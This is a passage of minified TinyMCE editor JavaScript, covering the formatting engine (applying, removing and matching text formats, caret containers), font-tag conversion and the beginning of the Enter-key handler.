startContainer,endContainer,commonAncestorContainer=rng.commonAncestorContainer;if(rng=expandRng(rng,formatList,TRUE),format.split){if(startContainer=getContainer(rng,TRUE),endContainer=getContainer(rng),startContainer!=endContainer){if(commonAncestorContainer&&/^T(HEAD|BODY|FOOT|R)$/.test(commonAncestorContainer.nodeName)&&/^(TH|TD)$/.test(endContainer.nodeName)&&endContainer.firstChild&&(endContainer=endContainer.firstChild||endContainer),dom.isChildOf(startContainer,endContainer)&&!isBlock(endContainer)&&!isTableCell(startContainer)&&!isTableCell(endContainer))return startContainer=wrap(startContainer,"span",{id:"_start","data-mce-type":"bookmark"}),splitToFormatRoot(startContainer),void(startContainer=unwrap(TRUE));startContainer=wrap(startContainer,"span",{id:"_start","data-mce-type":"bookmark"}),endContainer=wrap(endContainer,"span",{id:"_end","data-mce-type":"bookmark"}),splitToFormatRoot(startContainer),splitToFormatRoot(endContainer),startContainer=unwrap(TRUE),endContainer=unwrap()}else startContainer=endContainer=splitToFormatRoot(startContainer);rng.startContainer=startContainer.parentNode?startContainer.parentNode:startContainer,rng.startOffset=nodeIndex(startContainer),rng.endContainer=endContainer.parentNode?endContainer.parentNode:endContainer,rng.endOffset=nodeIndex(endContainer)+1}rangeUtils.walk(rng,function(nodes){each(nodes,function(node){process(node),1===node.nodeType&&"underline"===ed.dom.getStyle(node,"text-decoration")&&node.parentNode&&"underline"===getTextDecoration(node.parentNode)&&removeFormat({deep:!1,exact:!0,inline:"span",styles:{textDecoration:"underline"}},null,node)})})}var bookmark,rng,formatList=get(name),format=formatList[0],contentEditable=!0;if(node)return void(node.nodeType?(rng=dom.createRng(),rng.setStartBefore(node),rng.setEndAfter(node),removeRngStyle(rng)):removeRngStyle(node));if("false"!==getContentEditable(selection.getNode()))selection.isCollapsed()&&format.inline&&!dom.select("td.mceSelected,th.mceSelected").length?performCaretAction("remove",name,vars,similar):(bookmark=selection.getBookmark(),removeRngStyle(selection.getRng(TRUE)),selection.moveToBookmark(bookmark),format.inline&&match(name,vars,selection.getStart())&&moveStart(selection.getRng(!0)),ed.nodeChanged());else{node=selection.getNode();for(var i=0,l=formatList.length;i<l&&(!formatList[i].ceFalseOverride||!removeFormat(formatList[i],vars,node,node));i++);}}function toggle(name,vars,node){var fmt=get(name);!match(name,vars,node)||"toggle"in fmt[0]&&!fmt[0].toggle?apply(name,vars,node):remove(name,vars,node)}function matchNode(node,name,vars,similar){function matchItems(node,format,item_name){var key,value,i,items=format[item_name];if(format.onmatch)return format.onmatch(node,format,item_name);if(items)if(items.length===undef){for(key in items)if(items.hasOwnProperty(key)){if(value="attributes"===item_name?dom.getAttrib(node,key):getStyle(node,key),similar&&!value&&!format.exact)return;if((!similar||format.exact)&&!isEq(value,normalizeStyleValue(replaceVars(items[key],vars),key)))return}}else for(i=0;i<items.length;i++)if("attributes"===item_name?dom.getAttrib(node,items[i]):getStyle(node,items[i]))return format;return format}var format,i,classes,formatList=get(name);if(formatList&&node)for(i=0;i<formatList.length;i++)if(format=formatList[i],matchName(node,format)&&matchItems(node,format,"attributes")&&matchItems(node,format,"styles")){if(classes=format.classes)for(i=0;i<classes.length;i++)if(!dom.hasClass(node,classes[i]))return;return format}}function match(name,vars,node){function matchParents(node){var root=dom.getRoot();return node!==root&&(node=dom.getParent(node,function(node){return!!matchesUnInheritedFormatSelector(node,name)||(node.parentNode===root||!!matchNode(node,name,vars,!0))}),matchNode(node,name,vars))}var startNode;return node?matchParents(node):(node=selection.getNode(),matchParents(node)?TRUE:(startNode=selection.getStart(),startNode!=node&&matchParents(startNode)?TRUE:FALSE))}function matchAll(names,vars){var startElement,matchedFormatNames=[],checkedMap={};return startElement=selection.getStart(),dom.getParent(startElement,function(node){var i,name;for(i=0;i<names.length;i++)name=names[i],!checkedMap[name]&&matchNode(node,name,vars)&&(checkedMap[name]=!0,matchedFormatNames.push(name))},dom.getRoot()),matchedFormatNames}function canApply(name){var startNode,parents,i,x,selector,formatList=get(name);if(formatList)for(startNode=selection.getStart(),parents=getParents(startNode),x=formatList.length-1;x>=0;x--){if(selector=formatList[x].selector,!selector||formatList[x].defaultBlock)return TRUE;for(i=parents.length-1;i>=0;i--)if(dom.is(parents[i],selector))return TRUE}return FALSE}function formatChanged(formats,callback,similar){var currentFormats;return formatChangeData||(formatChangeData={},currentFormats={},ed.onNodeChange.addToTop(function(ed,cm,node){var parents=getParents(node),matchedFormats={};parents=tinymce.grep(parents,function(node){return 1==node.nodeType&&!node.getAttribute("data-mce-bogus")}),each(formatChangeData,function(callbacks,format){each(parents,function(node){return matchNode(node,format,{},callbacks.similar)?(currentFormats[format]||(each(callbacks,function(callback){callback(!0,{node:node,format:format,parents:parents})}),currentFormats[format]=callbacks),matchedFormats[format]=callbacks,!1):!matchesUnInheritedFormatSelector(node,format)&&void 0})}),each(currentFormats,function(callbacks,format){matchedFormats[format]||(delete currentFormats[format],each(callbacks,function(callback){callback(!1,{node:node,format:format,parents:parents})}))})})),each(formats.split(","),function(format){formatChangeData[format]||(formatChangeData[format]=[],formatChangeData[format].similar=similar),formatChangeData[format].push(callback)}),this}function matchName(node,format){return isEq(node,format.inline)?TRUE:isEq(node,format.block)?TRUE:format.selector?1==node.nodeType&&dom.is(node,format.selector):void 0}function isEq(str1,str2){return str1=str1||"",str2=str2||"",str1=""+(str1.nodeName||str1),str2=""+(str2.nodeName||str2),str1.toLowerCase()==str2.toLowerCase()}function isElementNode(node){return 1==node.nodeType&&!isBookmarkNode(node)&&!isWhiteSpaceNode(node)&&!isCaretNode(node)}function getStyle(node,name){return normalizeStyleValue(dom.getStyle(node,name),name)}function normalizeStyleValue(value,name){return"color"!=name&&"backgroundColor"!=name||(value=dom.toHex(value)),"fontWeight"==name&&700==value&&(value="bold"),"fontFamily"==name&&(value=value.replace(/[\'\"]/g,"").replace(/,\s+/g,",")),""+value}function replaceVars(value,vars){return"string"!=typeof value?value=value(vars):vars&&(value=value.replace(/%(\w+)/g,function(str,name){return vars[name]||str})),value}function isWhiteSpaceNode(node){return node&&3===node.nodeType&&/^([\t \r\n]+|)$/.test(node.nodeValue)}function wrap(node,name,attrs){var wrapper=dom.create(name,attrs);return node.parentNode.insertBefore(wrapper,node),wrapper.appendChild(node),wrapper}function expandRng(rng,format,remove){function findParentContainer(start){function isBogusBr(node){return"BR"==node.nodeName&&node.getAttribute("data-mce-bogus")&&!node.nextSibling}var container,parent,sibling,siblingName,root;if(container=parent=start?startContainer:endContainer,siblingName=start?"previousSibling":"nextSibling",root=dom.getRoot(),3==container.nodeType&&!isWhiteSpaceNode(container)&&(start?startOffset>0:endOffset<container.nodeValue.length))return container;for(;;){if(!format[0].block_expand&&isBlock(parent))return parent;for(sibling=parent[siblingName];sibling;sibling=sibling[siblingName])if(!isBookmarkNode(sibling)&&!isWhiteSpaceNode(sibling)&&!isBogusBr(sibling))return parent;if(parent==root||parent.parentNode==root){container=parent;break}parent=parent.parentNode}return container}function findLeaf(node,offset){for(offset===undef&&(offset=3===node.nodeType?node.length:node.childNodes.length);node&&node.hasChildNodes();)node=node.childNodes[offset],node&&(offset=3===node.nodeType?node.length:node.childNodes.length);return{node:node,offset:offset}}function findParentContentEditable(node){for(var parent=node;parent;){if(1===parent.nodeType&&getContentEditable(parent))return"false"===getContentEditable(parent)?parent:node;parent=parent.parentNode}return node}function findWordEndPoint(container,offset,start){function findSpace(node,offset){var pos,pos2,str=node.nodeValue;return"undefined"==typeof offset&&(offset=start?str.length:0),start?(pos=str.lastIndexOf(" ",offset),pos2=str.lastIndexOf(" ",offset),pos=pos>pos2?pos:pos2,pos===-1||remove||pos++):(pos=str.indexOf(" ",offset),pos2=str.indexOf(" ",offset),pos=pos!==-1&&(pos2===-1||pos<pos2)?pos:pos2),pos}var walker,node,pos,lastTextNode;if(3===container.nodeType){if(pos=findSpace(container,offset),pos!==-1)return{
container:container,offset:pos};lastTextNode=container}for(walker=new TreeWalker(container,dom.getParent(container,isBlock)||ed.getBody());node=walker[start?"prev":"next"]();)if(3===node.nodeType){if(lastTextNode=node,pos=findSpace(node),pos!==-1)return{container:node,offset:pos}}else if(isBlock(node))break;if(lastTextNode)return offset=start?0:lastTextNode.length,{container:lastTextNode,offset:offset}}function findSelectorEndPoint(container,sibling_name){var parents,i,y,curFormat;for(3==container.nodeType&&0===container.nodeValue.length&&container[sibling_name]&&(container=container[sibling_name]),parents=getParents(container),i=0;i<parents.length;i++)for(y=0;y<format.length;y++)if(curFormat=format[y],!("collapsed"in curFormat&&curFormat.collapsed!==rng.collapsed)&&dom.is(parents[i],curFormat.selector))return parents[i];return container}function findBlockEndPoint(container,sibling_name){var node,root=dom.getRoot();if(format[0].wrapper||(node=dom.getParent(container,format[0].block,root)),node||(node=dom.getParent(3==container.nodeType?container.parentNode:container,function(node){return node!=root&&isTextBlock(node)})),node&&format[0].wrapper&&(node=getParents(node,"ul,ol,dl").reverse()[0]||node),!node)for(node=container;node[sibling_name]&&!isBlock(node[sibling_name])&&(node=node[sibling_name],!isEq(node,"br")););return node||container}var lastIdx,leaf,endPoint,startContainer=rng.startContainer,startOffset=rng.startOffset,endContainer=rng.endContainer,endOffset=rng.endOffset;if(1==startContainer.nodeType&&startContainer.hasChildNodes()&&(lastIdx=startContainer.childNodes.length-1,startContainer=startContainer.childNodes[startOffset>lastIdx?lastIdx:startOffset],startContainer&&3==startContainer.nodeType&&(startOffset=0)),1==endContainer.nodeType&&endContainer.hasChildNodes()&&(lastIdx=endContainer.childNodes.length-1,endContainer=endContainer.childNodes[endOffset>lastIdx?lastIdx:endOffset-1],endContainer&&3==endContainer.nodeType&&(endOffset=endContainer.nodeValue.length)),startContainer=findParentContentEditable(startContainer),endContainer=findParentContentEditable(endContainer),(isBookmarkNode(startContainer.parentNode)||isBookmarkNode(startContainer))&&(startContainer=isBookmarkNode(startContainer)?startContainer:startContainer.parentNode,startContainer=startContainer.nextSibling||startContainer,3==startContainer.nodeType&&(startOffset=0)),(isBookmarkNode(endContainer.parentNode)||isBookmarkNode(endContainer))&&(endContainer=isBookmarkNode(endContainer)?endContainer:endContainer.parentNode,endContainer=endContainer.previousSibling||endContainer,3==endContainer.nodeType&&(endOffset=endContainer.length)),format[0].inline&&(rng.collapsed&&(endPoint=findWordEndPoint(startContainer,startOffset,!0),endPoint&&(startContainer=endPoint.container,startOffset=endPoint.offset),endPoint=findWordEndPoint(endContainer,endOffset),endPoint&&(endContainer=endPoint.container,endOffset=endPoint.offset)),leaf=findLeaf(endContainer,endOffset),leaf.node)){for(;leaf.node&&0===leaf.offset&&leaf.node.previousSibling;)leaf=findLeaf(leaf.node.previousSibling);leaf.node&&leaf.offset>0&&3===leaf.node.nodeType&&" "===leaf.node.nodeValue.charAt(leaf.offset-1)&&leaf.offset>1&&(endContainer=leaf.node,endContainer.splitText(leaf.offset-1))}return(format[0].inline||format[0].block_expand)&&(format[0].inline&&3==startContainer.nodeType&&0!==startOffset||isBlock(startContainer)||(startContainer=findParentContainer(!0)),format[0].inline&&3==endContainer.nodeType&&endOffset!==endContainer.nodeValue.length||isBlock(endContainer)||(endContainer=findParentContainer())),format[0].selector&&format[0].expand!==FALSE&&!format[0].inline&&(startContainer=findSelectorEndPoint(startContainer,"previousSibling"),endContainer=findSelectorEndPoint(endContainer,"nextSibling")),(format[0].block||format[0].selector)&&(startContainer=findBlockEndPoint(startContainer,"previousSibling"),endContainer=findBlockEndPoint(endContainer,"nextSibling"),format[0].block&&(isBlock(startContainer)||(startContainer=findParentContainer(!0)),isBlock(endContainer)||(endContainer=findParentContainer()))),1==startContainer.nodeType&&(startOffset=nodeIndex(startContainer),startContainer=startContainer.parentNode),1==endContainer.nodeType&&(endOffset=nodeIndex(endContainer)+1,endContainer=endContainer.parentNode),{startContainer:startContainer,startOffset:startOffset,endContainer:endContainer,endOffset:endOffset}}function isColorFormatAndAnchor(node,format){return format.links&&"A"==node.tagName}function removeFormat(format,vars,node,compare_node){var i,attrs,stylesModified;if(!matchName(node,format)&&!isColorFormatAndAnchor(node,format))return FALSE;if("all"!=format.remove)for(each(format.styles,function(value,name){value=normalizeStyleValue(replaceVars(value,vars),name),"number"==typeof name&&(name=value,compare_node=0),(format.remove_similar||!compare_node||isEq(getStyle(compare_node,name),value))&&dom.setStyle(node,name,""),stylesModified=1}),stylesModified&&""===dom.getAttrib(node,"style")&&(node.removeAttribute("style"),node.removeAttribute("data-mce-style")),each(format.attributes,function(value,name){var valueOut;if(value=replaceVars(value,vars),"number"==typeof name&&(name=value,compare_node=0),!compare_node||isEq(dom.getAttrib(compare_node,name),value)){if("class"==name&&(value=dom.getAttrib(node,name),value&&(valueOut="",each(value.split(/\s+/),function(cls){/mce\w+/.test(cls)&&(valueOut+=(valueOut?" ":"")+cls)}),valueOut)))return void dom.setAttrib(node,name,valueOut);"class"==name&&node.removeAttribute("className"),MCE_ATTR_RE.test(name)&&node.removeAttribute("data-mce-"+name),node.removeAttribute(name)}}),each(format.classes,function(value){value=replaceVars(value,vars),compare_node&&!dom.hasClass(compare_node,value)||dom.removeClass(node,value)}),attrs=dom.getAttribs(node),i=0;i<attrs.length;i++){var attrName=attrs[i].nodeName;if(0!==attrName.indexOf("_")&&0!==attrName.indexOf("data-"))return FALSE}return"none"!=format.remove?(removeNode(node,format),TRUE):void 0}function removeNode(node,format){function find(node,next,inc){return node=getNonWhiteSpaceSibling(node,next,inc),!node||"BR"==node.nodeName||isBlock(node)}var rootBlockElm,parentNode=node.parentNode;format.block&&(forcedRootBlock?parentNode==dom.getRoot()&&(format.list_block&&isEq(node,format.list_block)||each(tinymce.grep(node.childNodes),function(node){isValidChild(forcedRootBlock,node.nodeName.toLowerCase())?rootBlockElm?rootBlockElm.appendChild(node):(rootBlockElm=wrap(node,forcedRootBlock),dom.setAttribs(rootBlockElm,ed.settings.forced_root_block_attrs)):rootBlockElm=0})):isBlock(node)&&!isBlock(parentNode)&&(find(node,FALSE)||find(node.firstChild,TRUE,1)||node.insertBefore(dom.create("br"),node.firstChild),find(node,TRUE)||find(node.lastChild,FALSE,1)||node.appendChild(dom.create("br")))),format.selector&&format.inline&&!isEq(format.inline,node)||dom.remove(node,1)}function getNonWhiteSpaceSibling(node,next,inc){if(node)for(next=next?"nextSibling":"previousSibling",node=inc?node:node[next];node;node=node[next])if(1==node.nodeType||!isWhiteSpaceNode(node))return node}function isBookmarkNode(node){return node&&1==node.nodeType&&"bookmark"==node.getAttribute("data-mce-type")}function mergeSiblings(prev,next){function compareElements(node1,node2){function getAttribs(node){var attribs={};return each(dom.getAttribs(node),function(attr){var name=attr.nodeName.toLowerCase();0!==name.indexOf("_")&&"style"!==name&&(attribs[name]=dom.getAttrib(node,name))}),attribs}function compareObjects(obj1,obj2){var value,name;for(name in obj1)if(obj1.hasOwnProperty(name)){if(value=obj2[name],value===undef)return FALSE;if(obj1[name]!=value)return FALSE;delete obj2[name]}for(name in obj2)if(obj2.hasOwnProperty(name))return FALSE;return TRUE}return node1.nodeName!=node2.nodeName?FALSE:compareObjects(getAttribs(node1),getAttribs(node2))&&compareObjects(dom.parseStyle(dom.getAttrib(node1,"style")),dom.parseStyle(dom.getAttrib(node2,"style")))?TRUE:FALSE}function findElementSibling(node,sibling_name){for(sibling=node;sibling;sibling=sibling[sibling_name]){if(3==sibling.nodeType&&0!==sibling.nodeValue.length)return node;if(1==sibling.nodeType&&!isBookmarkNode(sibling))return sibling}return node}var sibling,tmpSibling;if(prev&&next&&(prev=findElementSibling(prev,"previousSibling"),next=findElementSibling(next,"nextSibling"),compareElements(prev,next))){for(sibling=prev.nextSibling;sibling&&sibling!=next;)tmpSibling=sibling,sibling=sibling.nextSibling,prev.appendChild(tmpSibling);return dom.remove(next),each(tinymce.grep(next.childNodes),function(node){prev.appendChild(node)}),prev}return next}function getContainer(rng,start){var container,offset,lastIdx;return container=rng[start?"startContainer":"endContainer"],offset=rng[start?"startOffset":"endOffset"],1==container.nodeType&&(lastIdx=container.childNodes.length-1,!start&&offset&&offset--,container=container.childNodes[offset>lastIdx?lastIdx:offset]),3===container.nodeType&&start&&offset>=container.nodeValue.length&&(container=new TreeWalker(container,ed.getBody()).next()||container),3!==container.nodeType||start||0!==offset||(container=new TreeWalker(container,ed.getBody()).prev()||container),container}function performCaretAction(type,name,vars,similar){function createCaretContainer(fill){var caretContainer=dom.create("span",{id:caretContainerId,"data-mce-bogus":!0,style:debug?"color:red":""});return fill&&caretContainer.appendChild(ed.getDoc().createTextNode(INVISIBLE_CHAR)),caretContainer}function isCaretContainerEmpty(node,nodes){for(;node;){if(3===node.nodeType&&node.nodeValue!==INVISIBLE_CHAR||node.childNodes.length>1)return!1;nodes&&1===node.nodeType&&nodes.push(node),node=node.firstChild}return!0}function getParentCaretContainer(node){for(;node;){if(node.id===caretContainerId)return node;node=node.parentNode}}function findFirstTextNode(node){var walker;if(node)for(walker=new TreeWalker(node,node),node=walker.current();node;node=walker.next())if(3===node.nodeType)return node}function removeCaretContainer(node,move_caret){var child,rng;if(node)rng=selection.getRng(!0),isCaretContainerEmpty(node)?(move_caret!==!1&&(rng.setStartBefore(node),rng.setEndBefore(node)),dom.remove(node)):(child=findFirstTextNode(node),child.nodeValue.charAt(0)===INVISIBLE_CHAR&&(child.deleteData(0,1),rng.startContainer==child&&rng.startOffset>0&&rng.setStart(child,rng.startOffset-1),rng.endContainer==child&&rng.endOffset>0&&rng.setEnd(child,rng.endOffset-1)),dom.remove(node,1)),selection.setRng(rng);else if(node=getParentCaretContainer(selection.getStart()),!node)for(;node=dom.get(caretContainerId);)removeCaretContainer(node,!1)}function applyCaretFormat(){var rng,caretContainer,textNode,offset,bookmark,container,text;rng=selection.getRng(!0),offset=rng.startOffset,container=rng.startContainer,text=container.nodeValue,caretContainer=getParentCaretContainer(selection.getStart()),caretContainer&&(textNode=findFirstTextNode(caretContainer)),text&&offset>0&&offset<text.length&&/\w/.test(text.charAt(offset))&&/\w/.test(text.charAt(offset-1))?(bookmark=selection.getBookmark(),rng.collapse(!0),rng=expandRng(rng,get(name)),rng=rangeUtils.split(rng),apply(name,vars,rng),selection.moveToBookmark(bookmark)):(caretContainer&&textNode.nodeValue===INVISIBLE_CHAR?apply(name,vars,caretContainer):(caretContainer=createCaretContainer(!0),textNode=caretContainer.firstChild,rng.insertNode(caretContainer),offset=1,apply(name,vars,caretContainer)),selection.setCursorLocation(textNode,offset))}function removeCaretFormat(){var container,offset,bookmark,hasContentAfter,node,formatNode,i,caretContainer,rng=selection.getRng(!0),parents=[];for(container=rng.startContainer,offset=rng.startOffset,node=container,3==container.nodeType&&(offset!=container.nodeValue.length&&(hasContentAfter=!0),node=node.parentNode);node;){if(matchNode(node,name,vars,similar)){formatNode=node;break}node.nextSibling&&(hasContentAfter=!0),parents.push(node),node=node.parentNode}if(formatNode)if(hasContentAfter)bookmark=selection.getBookmark(),rng.collapse(!0),rng=expandRng(rng,get(name),!0),rng=rangeUtils.split(rng),remove(name,vars,rng),selection.moveToBookmark(bookmark);else{for(caretContainer=createCaretContainer(),node=caretContainer,i=parents.length-1;i>=0;i--)node.appendChild(dom.clone(parents[i],!1)),node=node.firstChild;node.appendChild(dom.doc.createTextNode(INVISIBLE_CHAR)),node=node.firstChild;var block=dom.getParent(formatNode,isTextBlock);block&&dom.isEmpty(block)?formatNode.parentNode.replaceChild(caretContainer,formatNode):dom.insertAfter(caretContainer,formatNode),selection.setCursorLocation(node,1),dom.isEmpty(formatNode)&&dom.remove(formatNode)}}function unmarkBogusCaretParents(){var caretContainer;caretContainer=getParentCaretContainer(selection.getStart()),caretContainer&&!dom.isEmpty(caretContainer)&&tinymce.walk(caretContainer,function(node){1!=node.nodeType||node.id===caretContainerId||dom.isEmpty(node)||dom.setAttrib(node,"data-mce-bogus",null)},"childNodes")}var caretContainerId="_mce_caret",debug=ed.settings.caret_debug;ed._hasCaretEvents||(ed.onBeforeGetContent.addToTop(function(){var i,nodes=[];if(isCaretContainerEmpty(getParentCaretContainer(selection.getStart()),nodes))for(i=nodes.length;i--;)dom.setAttrib(nodes[i],"data-mce-bogus","1")}),tinymce.each("onMouseUp onKeyUp".split(" "),function(name){ed[name].addToTop(function(){removeCaretContainer(),unmarkBogusCaretParents()})}),ed.onKeyDown.addToTop(function(ed,e){var keyCode=e.keyCode;(8==keyCode&&selection.isCollapsed()||37==keyCode||39==keyCode)&&removeCaretContainer(getParentCaretContainer(selection.getStart())),unmarkBogusCaretParents()}),selection.onSetContent.add(unmarkBogusCaretParents),ed._hasCaretEvents=!0),"apply"==type?applyCaretFormat():removeCaretFormat()}function moveStart(rng){var isAtEndOfText,walker,node,nodes,tmpNode,container=rng.startContainer,offset=rng.startOffset;if((rng.startContainer!=rng.endContainer||!isInlineBlock(rng.startContainer.childNodes[rng.startOffset]))&&(3==container.nodeType&&offset>=container.nodeValue.length&&(offset=nodeIndex(container),container=container.parentNode,isAtEndOfText=!0),1==container.nodeType))for(nodes=container.childNodes,container=nodes[Math.min(offset,nodes.length-1)],walker=new TreeWalker(container,dom.getParent(container,dom.isBlock)),(offset>nodes.length-1||isAtEndOfText)&&walker.next(),node=walker.current();node;node=walker.next())if(3==node.nodeType&&!isWhiteSpaceNode(node))return tmpNode=dom.create("a",{"data-mce-bogus":"all"},INVISIBLE_CHAR),node.parentNode.insertBefore(tmpNode,node),rng.setStart(node,0),selection.setRng(rng),void dom.remove(tmpNode)}var formatChangeData,undef,formats={},each=tinymce.each,dom=ed.dom,selection=ed.selection,TreeWalker=tinymce.dom.TreeWalker,rangeUtils=new tinymce.dom.RangeUtils(dom),isValidChild=ed.schema.isValidChild,isBlock=dom.isBlock,forcedRootBlock=ed.settings.forced_root_block,nodeIndex=dom.nodeIndex,INVISIBLE_CHAR="\ufeff",MCE_ATTR_RE=/^(src|href|style)$/,FALSE=!1,TRUE=!0,getContentEditable=dom.getContentEditable;tinymce.extend(this,{get:get,register:register,apply:apply,remove:remove,toggle:toggle,match:match,matchAll:matchAll,matchNode:matchNode,canApply:canApply,formatChanged:formatChanged}),defaultFormats(),addKeyboardShortcuts()}}(tinymce),tinymce.onAddEditor.add(function(tinymce,ed){function replaceWithSpan(node,styles){tinymce.each(styles,function(value,name){value&&dom.setStyle(node,name,value)}),dom.rename(node,"span")}function convert(editor,params){dom=editor.dom,settings.convert_fonts_to_spans&&tinymce.each(dom.select("font,u,strike",params.node),function(node){filters[node.nodeName.toLowerCase()](ed.dom,node)})}var filters,fontSizes,dom,settings=ed.settings;settings.inline_styles&&(fontSizes=tinymce.explode(settings.font_size_legacy_values),filters={font:function(dom,node){replaceWithSpan(node,{backgroundColor:node.style.backgroundColor,color:node.color,fontFamily:node.face,fontSize:fontSizes[parseInt(node.size,10)-1]})},u:function(dom,node){replaceWithSpan(node,{textDecoration:"underline"})},strike:function(dom,node){replaceWithSpan(node,{textDecoration:"line-through"})}},ed.onPreProcess.add(convert),ed.onSetContent.add(convert),ed.onInit.add(function(){ed.selection.onSetContent.add(convert)}))}),function(tinymce){var TreeWalker=tinymce.dom.TreeWalker,RangeUtils=tinymce.dom.RangeUtils;tinymce.EnterKey=function(editor){function handleEnterKey(evt){function canSplitBlock(node){return node&&dom.isBlock(node)&&!/^(TD|TH|CAPTION|FORM)$/.test(node.nodeName)&&!/^(fixed|absolute)/i.test(node.style.position)&&"true"!==dom.getContentEditable(node)}function isTableCell(node){return node&&/^(TD|TH|CAPTION)$/.test(node.nodeName)}function isBogus(node){return!!node&&1===nodeType&&node.hasAttribute("data-mce-bogus")}function trimBogusBr(elm){var brs=elm.getElementsByTagName("br"),lastBr=brs[brs.length-1];isBogus(lastBr)&&lastBr.parentNode.removeChild(lastBr)}function isCaretContainerBlock(node){return node&&3===node.nodeType&&(node=node.parentNode),!!node&&1===node.nodeType&&node.hasAttribute("data-mce-caret")}function showCaretContainerBlock(caretContainer){return caretContainer&&caretContainer.hasAttribute("data-mce-caret")?(trimBogusBr(caretContainer),caretContainer.removeAttribute("data-mce-caret"),caretContainer.removeAttribute("data-mce-bogus"),caretContainer.removeAttribute("style"),caretContainer.removeAttribute("_moz_abspos"),caretContainer):null}function renderBlockOnIE(block){var oldRng;dom.isBlock(block)&&(oldRng=selection.getRng(),block.appendChild(dom.create("span",null," ")),selection.select(block),block.lastChild.outerHTML="",selection.setRng(oldRng))}function trimInlineElementsOnLeftSideOfBlock(block){var i,node=block,firstChilds=[];if(node){for(;node=node.firstChild;){if(dom.isBlock(node))return;1!=node.nodeType||nonEmptyElementsMap[node.nodeName.toLowerCase()]||firstChilds.push(node)}for(i=firstChilds.length;i--;)node=firstChilds[i],!node.hasChildNodes()||node.firstChild==node.lastChild&&""===node.firstChild.nodeValue?dom.remove(node):"A"==node.nodeName&&" "===(node.innerText||node.textContent)&&dom.remove(node)}}function moveToCaretPosition(root){function firstNonWhiteSpaceNodeSibling(node){for(;node;){if(1==node.nodeType||3==node.nodeType&&node.data&&/[\r\n\s]/.test(node.data))return node;node=node.nextSibling}}var walker,node,rng,tempElm,lastNode=root;if(root){if(isIE&&tinymce.isIE<9&&parentBlock&&parentBlock.firstChild&&parentBlock.firstChild==parentBlock.lastChild&&"BR"==parentBlock.firstChild.tagName&&dom.remove(parentBlock.firstChild),/^(LI|DT|DD)$/.test(root.nodeName)){var firstChild=firstNonWhiteSpaceNodeSibling(root.firstChild);firstChild&&/^(UL|OL|DL)$/.test(firstChild.nodeName)&&root.insertBefore(dom.doc.createTextNode(" "),root.firstChild)}if(rng=dom.createRng(),isIE||root.normalize(),root.hasChildNodes()){for(walker=new TreeWalker(root,root);node=walker.current();){if(3==node.nodeType){rng.setStart(node,0),rng.setEnd(node,0);break}if(moveCaretBeforeOnEnterElementsMap[node.nodeName.toLowerCase()]){rng.setStartBefore(node),rng.setEndBefore(node);break}lastNode=node,node=walker.next()}node||(rng.setStart(lastNode,0),rng.setEnd(lastNode,0))}else"BR"==root.nodeName?root.nextSibling&&dom.isBlock(root.nextSibling)?((!documentMode||documentMode<9)&&(tempElm=dom.create("br"),root.parentNode.insertBefore(tempElm,root)),rng.setStartBefore(root),rng.setEndBefore(root)):(rng.setStartAfter(root),rng.setEndAfter(root)):(rng.setStart(root,0),rng.setEnd(root,0));selection.setRng(rng),dom.remove(tempElm),selection.scrollIntoView(root)}}function setForcedBlockAttrs(node){var forcedRootBlockName=settings.forced_root_block;forcedRootBlockName&&forcedRootBlockName.toLowerCase()===node.tagName.toLowerCase()&&dom.setAttribs(node,settings.forced_root_block_attrs)}function emptyBlock(elm){elm.innerHTML=isIE?"":'<br data-mce-bogus="1">'}function createNewBlock(name){var block,clonedNode,caretNode,node=container,textInlineElements=schema.getTextInlineElements();if(name||"TABLE"==parentBlockName?(block=dom.create(name||newBlockName),setForcedBlockAttrs(block)):block=settings.keep_attributes?parentBlock.cloneNode(!1):dom.create(parentBlock.nodeName),caretNode=block,settings.keep_styles!==!1)do if(textInlineElements[node.nodeName]){if("_mce_caret"==node.id)continue;clonedNode=node.cloneNode(!1),dom.setAttrib(clonedNode,"id",""),block.hasChildNodes()?(clonedNode.appendChild(block.firstChild),block.appendChild(clonedNode)):(caretNode=clonedNode,block.appendChild(clonedNode))}while(node=node.parentNode);return isIE||(caretNode.innerHTML='<br data-mce-bogus="1">'),block}function isCaretAtStartOrEndOfBlock(start){var walker,node,name;if(3==container.nodeType&&(start?offset>0:offset<container.nodeValue.length))return!1;if(container.parentNode==parentBlock&&isAfterLastNodeInContainer&&!start)return!0;if(start&&1==container.nodeType&&container==parentBlock.firstChild)return!0;if("TABLE"===container.nodeName||container.previousSibling&&"TABLE"==container.previousSibling.nodeName)return isAfterLastNodeInContainer&&!start||!isAfterLastNodeInContainer&&start;for(walker=new TreeWalker(container,parentBlock),3==container.nodeType&&(start&&0===offset?walker.prev():start||offset!=container.nodeValue.length||walker.next());node=walker.current();){if(1===node.nodeType){if(!node.getAttribute("data-mce-bogus")&&(name=node.nodeName.toLowerCase(),nonEmptyElementsMap[name]&&"br"!==name))return!1}else if(3===node.nodeType&&!/^[ \t\r\n]*$/.test(node.nodeValue))return!1;start?walker.prev():walker.next()}return!0}function wrapSelfAndSiblingsInDefaultBlock(container,offset){var newBlock,parentBlock,startNode,node,next,rootBlockName,blockName=newBlockName||"P";if(parentBlock=dom.getParent(container,dom.isBlock),!parentBlock||!canSplitBlock(parentBlock)){if(parentBlock=parentBlock||editableRoot,rootBlockName=parentBlock==editor.getBody()||isTableCell(parentBlock)?parentBlock.nodeName.toLowerCase():parentBlock.parentNode.nodeName.toLowerCase(),!parentBlock.hasChildNodes())return newBlock=dom.create(blockName),setForcedBlockAttrs(newBlock),parentBlock.appendChild(newBlock),rng.setStart(newBlock,0),rng.setEnd(newBlock,0),newBlock;for(node=container;node.parentNode!=parentBlock;)node=node.parentNode;for(;node&&!dom.isBlock(node);)startNode=node,node=node.previousSibling;if(startNode&&schema.isValidChild(rootBlockName,blockName.toLowerCase())){for(newBlock=dom.create(blockName),setForcedBlockAttrs(newBlock),startNode.parentNode.insertBefore(newBlock,startNode),node=startNode;node&&!dom.isBlock(node);)next=node.nextSibling,newBlock.appendChild(node),node=next;rng.setStart(container,offset),rng.setEnd(container,offset)}}return container}function handleEmptyListItem(){function isFirstOrLastLi(first){for(var node=containerBlock[first?"firstChild":"lastChild"];node&&1!=node.nodeType;)node=node[first?"nextSibling":"previousSibling"];return node===parentBlock}function getContainerBlock(){var containerBlockParent=containerBlock.parentNode;return/^(LI|DT|DD)$/.test(containerBlockParent.nodeName)?containerBlockParent:containerBlock}if(containerBlock!=editor.getBody()){var 